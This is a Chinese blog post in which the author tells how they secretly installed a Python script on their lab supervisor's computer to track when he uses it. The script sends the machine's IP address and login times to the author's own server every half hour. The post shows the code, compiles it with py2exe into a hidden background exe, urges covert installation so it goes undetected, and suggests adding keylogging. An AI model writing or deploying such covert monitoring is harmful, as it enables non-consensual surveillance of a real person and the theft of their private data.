怎么查看电脑有没有python_如何用python知道某人是不是在用电脑

最近一直待实验室,老板说一直都要来。大夏天的,来一趟大汗淋漓。来了老板也可能不在。所以我打算偷偷写一个脚本装到老板电脑里。

趁着老板不在,我想到把本机的IP信息以及登录时间用一个get方法发送到我的服务器,然后保存在数据库里。

STEP1

# -*- coding: cp936 -*-

import pythoncom

import socket

import requests,time

#获取本机电脑名

myname = socket.getfqdn(socket.gethostname( ))

myaddr = socket.gethostbyname(myname)

def main():

while(True):

try:

r = requests.get('http://picard.sinaapp.com/spyon/?normid=%s&content=%s'%(str(myaddr),'I am using computer at '+time.strftime("%H:%M:%S")))

except requests.ConnectionError:

pass

time.sleep(1800)

main()

e759ca5ba572

1.jpg

STEP2

然后我用py2exe这个库,将python代码编译成了exe文件。

from distutils.core import setup

import py2exe

setup(windows=['hook.py'])

注意在编译的时候setup的参数一定得是windows,这样编译出来的exe,就是后台运行的。

SETP3

最后一步,只要偷偷帮老板装上就行了。因为开机就后台运行,也不占内存。不用担心被发现。由于这个程序每半个小时就会get一次,所以基本上可以知道这个人什么时候上机,上了多久的网。当然如果够缺德的话,你也可以侦测他的键盘按键然后post到服务器上。

从此我过上了愉快的暑假生活。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值